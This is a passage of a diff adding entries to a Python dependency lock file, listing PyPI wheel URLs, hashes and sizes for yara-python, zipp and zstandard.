+    { url = "https://files.pythonhosted.org/packages/58/fa/b159db2afedef12d5de32b6eb7c087a78c29dc51fc5111475bbd96759744/yara_python-4.5.4-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a82c87038f0da2d90051bfd6449cf9a4b977a15ee8372f3512ce0a413ef822fd", size = 2324289, upload-time = "2025-05-27T14:14:32.852Z" },
+    { url = "https://files.pythonhosted.org/packages/ad/1e/8846d6c37e3cc5328ac90d888ac60599ed62f1ffcb7d68054ad60954df4a/yara_python-4.5.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a1721b61ee4e625a143e8e5bf32fa6774797c06724c45067f3e8919a8e5f8f3", size = 2329563, upload-time = "2025-05-27T14:14:34.758Z" },
+    { url = "https://files.pythonhosted.org/packages/35/db/d6de595384e357366a8e7832876e5d9be56629e29e12d2a9325cc652e855/yara_python-4.5.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:57d80c7591bbc6d9e73934e0fa4cbbb35e3e733b2706c5fd6756edf495f42678", size = 2947661, upload-time = "2025-05-27T14:14:37.419Z" },
+    { url = "https://files.pythonhosted.org/packages/b9/26/35d67095b0b000315545c59b2826166371d005f9815ca6c7c79a87e6c4cc/yara_python-4.5.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:3872b5f5575d6f5077f86e2b8bcdfe8688f859a50854334a4085399331167abc", size = 2417932, upload-time = "2025-05-27T14:14:40.402Z" },
+    { url = "https://files.pythonhosted.org/packages/8f/28/760d114cea3f160e3f862d747208a09150974a668a49c0cee23a943006c4/yara_python-4.5.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:fd84af5b6da3429236b61f3ad8760fdc739d0e1d6a08b8f3d90cd375e71594df", size = 2638058, upload-time = "2025-05-27T14:14:42.141Z" },
+    { url = "https://files.pythonhosted.org/packages/74/9d/e208dd3ffc38a163d18476d2f758c24de8ece67c9d59c654a6b5b400fd96/yara_python-4.5.4-cp311-cp311-win32.whl", hash = "sha256:491c9de854e4a47dfbef7b3a38686c574459779915be19dcf4421b65847a57ce", size = 1447300, upload-time = "2025-05-27T14:14:44.091Z" },
+    { url = "https://files.pythonhosted.org/packages/85/ad/23ed18900f6024d5c1de567768c12a53c5759ac90d08624c87c816cd7249/yara_python-4.5.4-cp311-cp311-win_amd64.whl", hash = "sha256:2a1bf52cb7b9178cc1ee2acd1697a0c8468af0c76aa1beffe22534bd4f62698b", size = 1825566, upload-time = "2025-05-27T14:14:45.879Z" },
+    { url = "https://files.pythonhosted.org/packages/5a/cc/deaf10b6b31ee81842176affce79d57c3b6df50e894cf6cdbb1f0eb12af2/yara_python-4.5.4-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:ade234700c492bce0efda96c1cdcd763425016e40df4a8d30c4c4e6897be5ace", size = 2471771, upload-time = "2025-05-27T14:14:47.381Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/47/9227c56450be00db6a3a50ccf88ba201945ae14a34b80b3aae4607954159/yara_python-4.5.4-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:e1dedd149be61992781f085b592d169d1d813f9b5ffc7c8c2b74e429b443414c", size = 208991, upload-time = "2025-05-27T14:14:48.832Z" },
+    { url = "https://files.pythonhosted.org/packages/5b/0d/1f2e054f7ddf9fd4c873fccf63a08f2647b205398e11ea75cf44c161e702/yara_python-4.5.4-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:92b233aae320ee9e59728ee23f9faf4a423ae407d4768b47c8f0e472a34dbae2", size = 2478413, upload-time = "2025-05-27T14:14:50.205Z" },
+    { url = "https://files.pythonhosted.org/packages/10/ab/96e2d06c909ba07941d6d303f23624e46751a54d6fd358069275f982168c/yara_python-4.5.4-cp312-cp312-macosx_15_0_x86_64.whl", hash = "sha256:1f238f10d26e4701559f73a69b22e1e192a6fa20abdd76f57a7054566780aa89", size = 209401, upload-time = "2025-05-27T14:14:52.017Z" },
+    { url = "https://files.pythonhosted.org/packages/df/7d/e51ecb0db87094976904a52eb521e3faf9c18f7c889b9d5cf996ae3bb680/yara_python-4.5.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d29d0e137e0d77dd110186369276e88381f784bdc45b5932a2fb3463e2a1b1c7", size = 2245326, upload-time = "2025-05-27T14:14:53.338Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/5e/fe93d8609b8470148ebbae111f209c6f208bb834cee64046fce0532fcc70/yara_python-4.5.4-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e7d0039d734705b123494acad7a00b67df171dd5b1c16ff7b18ff07578efd4cd", size = 2327041, upload-time = "2025-05-27T14:14:54.915Z" },
+    { url = "https://files.pythonhosted.org/packages/52/06/104c4daa22e34a7edb49051798126c37f6280d4f1ea7e8888b043314e72d/yara_python-4.5.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5eae935b05a9f8dc71df55a79c38f52abd93f8840310fe4e0d75fbd78284f24", size = 2332343, upload-time = "2025-05-27T14:14:56.424Z" },
+    { url = "https://files.pythonhosted.org/packages/cd/38/4b788b8fe15faca08e4a52c0b3dc8787953115ce1811e7bf9439914b6a5b/yara_python-4.5.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:30fc7959394532c6e3f48faf59337f5da124f1630668258276b6cfa54e555a6e", size = 2949346, upload-time = "2025-05-27T14:14:57.924Z" },
+    { url = "https://files.pythonhosted.org/packages/53/3a/c1d97172aa9672f381df78b4d3a9f60378f35431ff48f4a6c45037057e07/yara_python-4.5.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:e6d8c2acaf33931338fdb78aba8a68462b0151d833b2eeda712db87713ac2abf", size = 2421057, upload-time = "2025-05-27T14:15:00.118Z" },
+    { url = "https://files.pythonhosted.org/packages/ba/cc/c6366d6d047f73594badd5444f6a32501e8b20ab1a7124837d305c08b42b/yara_python-4.5.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a3c7bc8cd0db5fb87ab579c755de83723030522f3c0cd5b3374044055a8ce6c6", size = 2639871, upload-time = "2025-05-27T14:15:02.63Z" },
+    { url = "https://files.pythonhosted.org/packages/e6/5c/edacbd11db432ac04a37c9e3a7c569986256d9659d1859c6f828268dfeed/yara_python-4.5.4-cp312-cp312-win32.whl", hash = "sha256:d12e57101683e9270738a1bccf676747f93e86b5bc529e7a7fb7adf94f20bd77", size = 1447403, upload-time = "2025-05-27T14:15:04.193Z" },
+    { url = "https://files.pythonhosted.org/packages/ad/e1/f6a72c155f3241360da890c218911d09bf63329eca9cfa1af64b1498339b/yara_python-4.5.4-cp312-cp312-win_amd64.whl", hash = "sha256:bf14a8af06b2b980a889bdc3f9e8ccd6e703d2b3fa1c98da5fd3a1c3b551eb47", size = 1825743, upload-time = "2025-05-27T14:15:05.678Z" },
+    { url = "https://files.pythonhosted.org/packages/74/7f/9bf4864fee85f86302d78d373c93793419c080222b5e18badadebb959263/yara_python-4.5.4-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:fe8ad189843c729eae74be3b8447a4753fac2cebe705e5e2a7280badfcc7e3b4", size = 2471811, upload-time = "2025-05-27T14:15:07.55Z" },
+    { url = "https://files.pythonhosted.org/packages/44/58/dca36144c44b0613dbc39c70cc32ee0fc9db1ba9e5fa15f55657183f4229/yara_python-4.5.4-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:94e290d5035be23059d0475bff3eac8228acd51145bf0cabe355b1ddabab742b", size = 209044, upload-time = "2025-05-27T14:15:09.142Z" },
+    { url = "https://files.pythonhosted.org/packages/8b/4c/997be6898cdda211cb601ae2af40a2dbd89a48ba9889168ddd3993636e97/yara_python-4.5.4-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:4537f8499d166d22a54739f440fb306f65b0438be2c6c4ecb2352ecb5adb5f1c", size = 2478416, upload-time = "2025-05-27T14:15:10.58Z" },
+    { url = "https://files.pythonhosted.org/packages/b6/29/91d5911d6decdd8a96bb891cacd8922569480ff1d4b47e7947b5dfc7f1d6/yara_python-4.5.4-cp313-cp313-macosx_15_0_x86_64.whl", hash = "sha256:ab5133a16e466db6fe9c1a08d1b171013507896175010fb85fc1b92da32e558c", size = 209441, upload-time = "2025-05-27T14:15:12.173Z" },
+    { url = "https://files.pythonhosted.org/packages/87/9b/e21f534f33062f2e5f6dceec3cb4918f4923264b1609652adc0c83fe2bde/yara_python-4.5.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93f5f5aba88e2ed2aaebfbb697433a0c8020c6a6c6a711e900a29e9b512d5c3a", size = 2245135, upload-time = "2025-05-27T14:15:13.569Z" },
+    { url = "https://files.pythonhosted.org/packages/70/8e/3618d2473f1e97f3f91d13af5b1ed26381c74444f6cdebb849eb855b21ca/yara_python-4.5.4-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:473c52b53c39d5daedc1912bd8a82a1c88702a3e393688879d77f9ff5f396543", size = 2326864, upload-time = "2025-05-27T14:15:15.321Z" },
+    { url = "https://files.pythonhosted.org/packages/99/ee/21477d4c83e7f267ff7d61a518eb1b2d3eb7877031c5c07bd1dc0a54eb95/yara_python-4.5.4-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d9a58b7dc87411a2443d2e0382a111bd892aef9f6db2a1ebb4a9215eef0db71", size = 2331976, upload-time = "2025-05-27T14:15:17.138Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/5d/2680831aa43d181a0cc023ba89132ff6f03a0532f220cde27bccd60d54e2/yara_python-4.5.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0b9de86fbe8a646c0644df9e1396d6941dc6ed0f89be2807e6c52ab39161fd9f", size = 2949066, upload-time = "2025-05-27T14:15:18.822Z" },
+    { url = "https://files.pythonhosted.org/packages/9e/76/e89ec354731b1872462fa9cfdfc6d4751c272b3f43fa55523a8f0fcdd48a/yara_python-4.5.4-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:973f0bc24470ac86b6009baf2800ad3eadfa4ab653b6546ba5c65e9239850f47", size = 2420758, upload-time = "2025-05-27T14:15:20.505Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/28/9499649cb2cb42592c13ca6a15163e0cbf132c2974394de171aa5f8b49e4/yara_python-4.5.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cb0f0e7183165426b09e2b1235e70909e540ac18e2c6be96070dfe17d7db4d78", size = 2639628, upload-time = "2025-05-27T14:15:22.142Z" },
+    { url = "https://files.pythonhosted.org/packages/ac/37/e8f2b9a2287070f39fa6a5afbcf1ed6762f60ab3b1fb08018732838ccc25/yara_python-4.5.4-cp313-cp313-win32.whl", hash = "sha256:7707b144c8fcdb30c069ea57b94799cd7601f694ba01b696bbd1832721f37fd0", size = 1447395, upload-time = "2025-05-27T14:15:25.237Z" },
+    { url = "https://files.pythonhosted.org/packages/cc/a0/40b0291c8b24d13daf0e26538c9f3a0d843c38c6446dd17f36335bdd5b5f/yara_python-4.5.4-cp313-cp313-win_amd64.whl", hash = "sha256:5f1288448991d63c1f6351c9f6d112916b0177ceefaa27d1419427a6ff09f829", size = 1825779, upload-time = "2025-05-27T14:15:26.802Z" },
+]
+
+[[package]]
+name = "zipp"
+version = "3.23.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e3/02/0f2892c661036d50ede074e376733dca2ae7c6eb617489437771209d4180/zipp-3.23.0.tar.gz", hash = "sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166", size = 25547, upload-time = "2025-06-08T17:06:39.4Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/2e/54/647ade08bf0db230bfea292f893923872fd20be6ac6f53b2b936ba839d75/zipp-3.23.0-py3-none-any.whl", hash = "sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e", size = 10276, upload-time = "2025-06-08T17:06:38.034Z" },
+]
+
+[[package]]
+name = "zstandard"
+version = "0.25.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/fd/aa/3e0508d5a5dd96529cdc5a97011299056e14c6505b678fd58938792794b1/zstandard-0.25.0.tar.gz", hash = "sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b", size = 711513, upload-time = "2025-09-14T22:15:54.002Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/56/7a/28efd1d371f1acd037ac64ed1c5e2b41514a6cc937dd6ab6a13ab9f0702f/zstandard-0.25.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e59fdc271772f6686e01e1b3b74537259800f57e24280be3f29c8a0deb1904dd", size = 795256, upload-time = "2025-09-14T22:15:56.415Z" },
+    { url = "https://files.pythonhosted.org/packages/96/34/ef34ef77f1ee38fc8e4f9775217a613b452916e633c4f1d98f31db52c4a5/zstandard-0.25.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:4d441506e9b372386a5271c64125f72d5df6d2a8e8a2a45a0ae09b03cb781ef7", size = 640565, upload-time = "2025-09-14T22:15:58.177Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/1b/4fdb2c12eb58f31f28c4d28e8dc36611dd7205df8452e63f52fb6261d13e/zstandard-0.25.0-cp310-cp310-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:ab85470ab54c2cb96e176f40342d9ed41e58ca5733be6a893b730e7af9c40550", size = 5345306, upload-time = "2025-09-14T22:16:00.165Z" },
+    { url = "https://files.pythonhosted.org/packages/73/28/a44bdece01bca027b079f0e00be3b6bd89a4df180071da59a3dd7381665b/zstandard-0.25.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e05ab82ea7753354bb054b92e2f288afb750e6b439ff6ca78af52939ebbc476d", size = 5055561, upload-time = "2025-09-14T22:16:02.22Z" },
+    { url = "https://files.pythonhosted.org/packages/e9/74/68341185a4f32b274e0fc3410d5ad0750497e1acc20bd0f5b5f64ce17785/zstandard-0.25.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:78228d8a6a1c177a96b94f7e2e8d012c55f9c760761980da16ae7546a15a8e9b", size = 5402214, upload-time = "2025-09-14T22:16:04.109Z" },
+    { url = "https://files.pythonhosted.org/packages/8b/67/f92e64e748fd6aaffe01e2b75a083c0c4fd27abe1c8747fee4555fcee7dd/zstandard-0.25.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:2b6bd67528ee8b5c5f10255735abc21aa106931f0dbaf297c7be0c886353c3d0", size = 5449703, upload-time = "2025-09-14T22:16:06.312Z" },
+    { url = "https://files.pythonhosted.org/packages/fd/e5/6d36f92a197c3c17729a2125e29c169f460538a7d939a27eaaa6dcfcba8e/zstandard-0.25.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4b6d83057e713ff235a12e73916b6d356e3084fd3d14ced499d84240f3eecee0", size = 5556583, upload-time = "2025-09-14T22:16:08.457Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/83/41939e60d8d7ebfe2b747be022d0806953799140a702b90ffe214d557638/zstandard-0.25.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9174f4ed06f790a6869b41cba05b43eeb9a35f8993c4422ab853b705e8112bbd", size = 5045332, upload-time = "2025-09-14T22:16:10.444Z" },
+    { url = "https://files.pythonhosted.org/packages/b3/87/d3ee185e3d1aa0133399893697ae91f221fda79deb61adbe998a7235c43f/zstandard-0.25.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:25f8f3cd45087d089aef5ba3848cd9efe3ad41163d3400862fb42f81a3a46701", size = 5572283, upload-time = "2025-09-14T22:16:12.128Z" },
+    { url = "https://files.pythonhosted.org/packages/0a/1d/58635ae6104df96671076ac7d4ae7816838ce7debd94aecf83e30b7121b0/zstandard-0.25.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3756b3e9da9b83da1796f8809dd57cb024f838b9eeafde28f3cb472012797ac1", size = 4959754, upload-time = "2025-09-14T22:16:14.225Z" },
+    { url = "https://files.pythonhosted.org/packages/75/d6/57e9cb0a9983e9a229dd8fd2e6e96593ef2aa82a3907188436f22b111ccd/zstandard-0.25.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:81dad8d145d8fd981b2962b686b2241d3a1ea07733e76a2f15435dfb7fb60150", size = 5266477, upload-time = "2025-09-14T22:16:16.343Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/a9/ee891e5edf33a6ebce0a028726f0bbd8567effe20fe3d5808c42323e8542/zstandard-0.25.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a5a419712cf88862a45a23def0ae063686db3d324cec7edbe40509d1a79a0aab", size = 5440914, upload-time = "2025-09-14T22:16:18.453Z" },
+    { url = "https://files.pythonhosted.org/packages/58/08/a8522c28c08031a9521f27abc6f78dbdee7312a7463dd2cfc658b813323b/zstandard-0.25.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:e7360eae90809efd19b886e59a09dad07da4ca9ba096752e61a2e03c8aca188e", size = 5819847, upload-time = "2025-09-14T22:16:20.559Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/11/4c91411805c3f7b6f31c60e78ce347ca48f6f16d552fc659af6ec3b73202/zstandard-0.25.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:75ffc32a569fb049499e63ce68c743155477610532da1eb38e7f24bf7cd29e74", size = 5363131, upload-time = "2025-09-14T22:16:22.206Z" },
+    { url = "https://files.pythonhosted.org/packages/ef/d6/8c4bd38a3b24c4c7676a7a3d8de85d6ee7a983602a734b9f9cdefb04a5d6/zstandard-0.25.0-cp310-cp310-win32.whl", hash = "sha256:106281ae350e494f4ac8a80470e66d1fe27e497052c8d9c3b95dc4cf1ade81aa", size = 436469, upload-time = "2025-09-14T22:16:25.002Z" },
+    { url = "https://files.pythonhosted.org/packages/93/90/96d50ad417a8ace5f841b3228e93d1bb13e6ad356737f42e2dde30d8bd68/zstandard-0.25.0-cp310-cp310-win_amd64.whl", hash = "sha256:ea9d54cc3d8064260114a0bbf3479fc4a98b21dffc89b3459edd506b69262f6e", size = 506100, upload-time = "2025-09-14T22:16:23.569Z" },
+    { url = "https://files.pythonhosted.org/packages/2a/83/c3ca27c363d104980f1c9cee1101cc8ba724ac8c28a033ede6aab89585b1/zstandard-0.25.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:933b65d7680ea337180733cf9e87293cc5500cc0eb3fc8769f4d3c88d724ec5c", size = 795254, upload-time = "2025-09-14T22:16:26.137Z" },
+    { url = "https://files.pythonhosted.org/packages/ac/4d/e66465c5411a7cf4866aeadc7d108081d8ceba9bc7abe6b14aa21c671ec3/zstandard-0.25.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3f79487c687b1fc69f19e487cd949bf3aae653d181dfb5fde3bf6d18894706f", size = 640559, upload-time = "2025-09-14T22:16:27.973Z" },
+    { url = "https://files.pythonhosted.org/packages/12/56/354fe655905f290d3b147b33fe946b0f27e791e4b50a5f004c802cb3eb7b/zstandard-0.25.0-cp311-cp311-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:0bbc9a0c65ce0eea3c34a691e3c4b6889f5f3909ba4822ab385fab9057099431", size = 5348020, upload-time = "2025-09-14T22:16:29.523Z" },
+    { url = "https://files.pythonhosted.org/packages/3b/13/2b7ed68bd85e69a2069bcc72141d378f22cae5a0f3b353a2c8f50ef30c1b/zstandard-0.25.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:01582723b3ccd6939ab7b3a78622c573799d5d8737b534b86d0e06ac18dbde4a", size = 5058126, upload-time = "2025-09-14T22:16:31.811Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/dd/fdaf0674f4b10d92cb120ccff58bbb6626bf8368f00ebfd2a41ba4a0dc99/zstandard-0.25.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5f1ad7bf88535edcf30038f6919abe087f606f62c00a87d7e33e7fc57cb69fcc", size = 5405390, upload-time = "2025-09-14T22:16:33.486Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/67/354d1555575bc2490435f90d67ca4dd65238ff2f119f30f72d5cde09c2ad/zstandard-0.25.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:06acb75eebeedb77b69048031282737717a63e71e4ae3f77cc0c3b9508320df6", size = 5452914, upload-time = "2025-09-14T22:16:35.277Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/1f/e9cfd801a3f9190bf3e759c422bbfd2247db9d7f3d54a56ecde70137791a/zstandard-0.25.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9300d02ea7c6506f00e627e287e0492a5eb0371ec1670ae852fefffa6164b072", size = 5559635, upload-time = "2025-09-14T22:16:37.141Z" },
+    { url = "https://files.pythonhosted.org/packages/21/88/5ba550f797ca953a52d708c8e4f380959e7e3280af029e38fbf47b55916e/zstandard-0.25.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bfd06b1c5584b657a2892a6014c2f4c20e0db0208c159148fa78c65f7e0b0277", size = 5048277, upload-time = "2025-09-14T22:16:38.807Z" },
+    { url = "https://files.pythonhosted.org/packages/46/c0/ca3e533b4fa03112facbe7fbe7779cb1ebec215688e5df576fe5429172e0/zstandard-0.25.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f373da2c1757bb7f1acaf09369cdc1d51d84131e50d5fa9863982fd626466313", size = 5574377, upload-time = "2025-09-14T22:16:40.523Z" },
+    { url = "https://files.pythonhosted.org/packages/12/9b/3fb626390113f272abd0799fd677ea33d5fc3ec185e62e6be534493c4b60/zstandard-0.25.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6c0e5a65158a7946e7a7affa6418878ef97ab66636f13353b8502d7ea03c8097", size = 4961493, upload-time = "2025-09-14T22:16:43.3Z" },
+    { url = "https://files.pythonhosted.org/packages/cb/d3/23094a6b6a4b1343b27ae68249daa17ae0651fcfec9ed4de09d14b940285/zstandard-0.25.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:c8e167d5adf59476fa3e37bee730890e389410c354771a62e3c076c86f9f7778", size = 5269018, upload-time = "2025-09-14T22:16:45.292Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/a7/bb5a0c1c0f3f4b5e9d5b55198e39de91e04ba7c205cc46fcb0f95f0383c1/zstandard-0.25.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:98750a309eb2f020da61e727de7d7ba3c57c97cf6213f6f6277bb7fb42a8e065", size = 5443672, upload-time = "2025-09-14T22:16:47.076Z" },
+    { url = "https://files.pythonhosted.org/packages/27/22/503347aa08d073993f25109c36c8d9f029c7d5949198050962cb568dfa5e/zstandard-0.25.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22a086cff1b6ceca18a8dd6096ec631e430e93a8e70a9ca5efa7561a00f826fa", size = 5822753, upload-time = "2025-09-14T22:16:49.316Z" },
+    { url = "https://files.pythonhosted.org/packages/e2/be/94267dc6ee64f0f8ba2b2ae7c7a2df934a816baaa7291db9e1aa77394c3c/zstandard-0.25.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:72d35d7aa0bba323965da807a462b0966c91608ef3a48ba761678cb20ce5d8b7", size = 5366047, upload-time = "2025-09-14T22:16:51.328Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/a3/732893eab0a3a7aecff8b99052fecf9f605cf0fb5fb6d0290e36beee47a4/zstandard-0.25.0-cp311-cp311-win32.whl", hash = "sha256:f5aeea11ded7320a84dcdd62a3d95b5186834224a9e55b92ccae35d21a8b63d4", size = 436484, upload-time = "2025-09-14T22:16:55.005Z" },
+    { url = "https://files.pythonhosted.org/packages/43/a3/c6155f5c1cce691cb80dfd38627046e50af3ee9ddc5d0b45b9b063bfb8c9/zstandard-0.25.0-cp311-cp311-win_amd64.whl", hash = "sha256:daab68faadb847063d0c56f361a289c4f268706b598afbf9ad113cbe5c38b6b2", size = 506183, upload-time = "2025-09-14T22:16:52.753Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/3e/8945ab86a0820cc0e0cdbf38086a92868a9172020fdab8a03ac19662b0e5/zstandard-0.25.0-cp311-cp311-win_arm64.whl", hash = "sha256:22a06c5df3751bb7dc67406f5374734ccee8ed37fc5981bf1ad7041831fa1137", size = 462533, upload-time = "2025-09-14T22:16:53.878Z" },
+    { url = "https://files.pythonhosted.org/packages/82/fc/f26eb6ef91ae723a03e16eddb198abcfce2bc5a42e224d44cc8b6765e57e/zstandard-0.25.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7b3c3a3ab9daa3eed242d6ecceead93aebbb8f5f84318d82cee643e019c4b73b", size = 795738, upload-time = "2025-09-14T22:16:56.237Z" },
+    { url = "https://files.pythonhosted.org/packages/aa/1c/d920d64b22f8dd028a8b90e2d756e431a5d86194caa78e3819c7bf53b4b3/zstandard-0.25.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:913cbd31a400febff93b564a23e17c3ed2d56c064006f54efec210d586171c00", size = 640436, upload-time = "2025-09-14T22:16:57.774Z" },
+    { url = "https://files.pythonhosted.org/packages/53/6c/288c3f0bd9fcfe9ca41e2c2fbfd17b2097f6af57b62a81161941f09afa76/zstandard-0.25.0-cp312-cp312-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:011d388c76b11a0c165374ce660ce2c8efa8e5d87f34996aa80f9c0816698b64", size = 5343019, upload-time = "2025-09-14T22:16:59.302Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/15/efef5a2f204a64bdb5571e6161d49f7ef0fffdbca953a615efbec045f60f/zstandard-0.25.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dffecc361d079bb48d7caef5d673c88c8988d3d33fb74ab95b7ee6da42652ea", size = 5063012, upload-time = "2025-09-14T22:17:01.156Z" },
+    { url = "https://files.pythonhosted.org/packages/b7/37/a6ce629ffdb43959e92e87ebdaeebb5ac81c944b6a75c9c47e300f85abdf/zstandard-0.25.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:7149623bba7fdf7e7f24312953bcf73cae103db8cae49f8154dd1eadc8a29ecb", size = 5394148, upload-time = "2025-09-14T22:17:03.091Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/79/2bf870b3abeb5c070fe2d670a5a8d1057a8270f125ef7676d29ea900f496/zstandard-0.25.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6a573a35693e03cf1d67799fd01b50ff578515a8aeadd4595d2a7fa9f3ec002a", size = 5451652, upload-time = "2025-09-14T22:17:04.979Z" },
+    { url = "https://files.pythonhosted.org/packages/53/60/7be26e610767316c028a2cbedb9a3beabdbe33e2182c373f71a1c0b88f36/zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5a56ba0db2d244117ed744dfa8f6f5b366e14148e00de44723413b2f3938a902", size = 5546993, upload-time = "2025-09-14T22:17:06.781Z" },
+    { url = "https://files.pythonhosted.org/packages/85/c7/3483ad9ff0662623f3648479b0380d2de5510abf00990468c286c6b04017/zstandard-0.25.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:10ef2a79ab8e2974e2075fb984e5b9806c64134810fac21576f0668e7ea19f8f", size = 5046806, upload-time = "2025-09-14T22:17:08.415Z" },
+    { url = "https://files.pythonhosted.org/packages/08/b3/206883dd25b8d1591a1caa44b54c2aad84badccf2f1de9e2d60a446f9a25/zstandard-0.25.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:aaf21ba8fb76d102b696781bddaa0954b782536446083ae3fdaa6f16b25a1c4b", size = 5576659, upload-time = "2025-09-14T22:17:10.164Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/31/76c0779101453e6c117b0ff22565865c54f48f8bd807df2b00c2c404b8e0/zstandard-0.25.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1869da9571d5e94a85a5e8d57e4e8807b175c9e4a6294e3b66fa4efb074d90f6", size = 4953933, upload-time = "2025-09-14T22:17:11.857Z" },
+    { url = "https://files.pythonhosted.org/packages/18/e1/97680c664a1bf9a247a280a053d98e251424af51f1b196c6d52f117c9720/zstandard-0.25.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:809c5bcb2c67cd0ed81e9229d227d4ca28f82d0f778fc5fea624a9def3963f91", size = 5268008, upload-time = "2025-09-14T22:17:13.627Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/73/316e4010de585ac798e154e88fd81bb16afc5c5cb1a72eeb16dd37e8024a/zstandard-0.25.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:f27662e4f7dbf9f9c12391cb37b4c4c3cb90ffbd3b1fb9284dadbbb8935fa708", size = 5433517, upload-time = "2025-09-14T22:17:16.103Z" },
